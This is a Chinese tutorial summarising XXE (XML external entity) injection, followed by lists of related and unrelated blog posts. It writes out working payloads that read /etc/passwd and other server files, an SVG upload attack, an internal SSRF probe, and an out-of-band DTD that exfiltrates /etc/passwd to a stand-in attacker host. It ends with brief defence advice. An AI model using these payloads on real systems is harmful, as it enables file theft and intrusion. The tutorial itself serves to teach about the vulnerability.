XXE

漏洞原理

  XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。

漏洞危害

  1. 读取敏感文件。

  2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。

漏洞检测

  1. XInclude攻击

   一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

  2. 利用文件上传来进行xxe攻击

   docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。

   创建具有xml代码的SVG图像

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

   将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。

  3. 通过修改请求包的文件内容类型来进行xxe攻击

   有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

原来的请求体中的内容是:foo=bar

  4. 读取敏感文件

   利用file协议读取服务器中的敏感文件。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

  5. 执行ssrf攻击

   利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>

  6. 带外通道技术来进行盲注xxe

   一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)

  攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。

恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

  向存在漏洞的应用程序中输入:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

  7. 通过错误消息来读取文件

   通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

漏洞防御

  1. 使用开发语言提供的禁用外部实体的方法。

  2. 过滤用户输入的xml数据中的关键字。

  3. 不允许xml中有用户自定义的文档类型。

XXE外部实体注入漏洞总结的更多相关文章

  1. XXE外部实体注入漏洞

    XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...

  2. XXE外部实体注入漏洞——PHP

    前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...

  3. 一个用得比较广的微信API的XXE外部实体注入漏洞

    文件地址: https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php 代码: <?php /** * ...

  4. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  5. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

  6. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  7. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  8. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  9. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

随机推荐

  1. Vue养成之路

    目录 Vue系列教程(一)之初识Vue Vue系列教程(二)之Vue进阶 Vue系列继承(三)之Vue-cli脚手架的使用 ... 更新中 基础入门 Vue基础(一)之es6 Vue基础(二)之箭头函 ...

  2. POJ3090Visible Lattice Points

    http://poj.org/problem?id=3090 对于此题,观测点的数目,从小规模开始观察,可以得到每一个点,由一根无限长的绳子,绕着原点旋转,得到的第一个点.换另外一个思路,每一个观察到 ...

  3. Presto 在字节跳动的内部实践与优化

    在字节跳动内部,Presto 主要支撑了 Ad-hoc 查询.BI 可视化分析.近实时查询分析等场景,日查询量接近 100 万条.本文是字节跳动数据平台 Presto 团队-软件工程师常鹏飞在 Pre ...

  4. java关于for循环的效率优化

    我们知道在实现一个功能的时候是可以使用不同的代码来实现的,那么相应的不同实现方法的性能肯定也是有差别的,所以我们在写一些对性能很敏感的模块的时候,对代码进行优化是很必要的,所以我们说一下for循环(w ...

  5. [javaweb]strut2-001漏洞分析

    Strut2-001 漏洞描述 框架解析JSP页面标签时会对用户输入的Value值获取,在获取对应的Value值中递归解析%{.}造成了二次解析,最终触发表达式注入漏洞,执行任意代码 影响版本 2.0 ...

  6. Cesium中级教程10 - CesiumJS and webpack

    Cesium中文网:http://cesiumcn.org/ | 国内快速访问:http://cesium.coinidea.com/ webpack是打包JavaScript模块流行且强大的工具.它 ...

  7. python 小兵(4)之文件操作 小问题

    1.光标不对就用seek 2.文件操作方面注意不要变修改变删除,会爆出文件正在运行不能操作 3.w模式下只有开始打开的时候会清空 4.文件操作的时候用as 后面的参数进行操作,不能用文件名进行操作 5 ...

  8. CSS之 sass、less、stylus 预处理器的使用方式

    更详细区别参考文档:https://blog.csdn.net/pedrojuliet/article/details/72887490 使用变量: sass:  使用 $ 符号定义变量,如: $ba ...

  9. 使用Typora+PicGo实现图片自动上传到Gitee图床

    一.前言 我们在使用Typora编辑器时,会加上图片,有个弊端,只能在本地访问,你发送给别人就无法查看图片,当然可以导出pdf.小编这边的需求是这样的,自己搭建的一个博客系统,基于Hexo搭建的,这个 ...

  10. AGC004 部分简要题解

    E 首先问题可以转化为:每次将出口带着边界走,出了边界的机器人立马消失,最大化出口碰到的机器人数量. 考虑哪些机器人是已经出界了的,不难有观察: 当前出界的机器人只与当前出口往四个方向走过的最远距离有 ...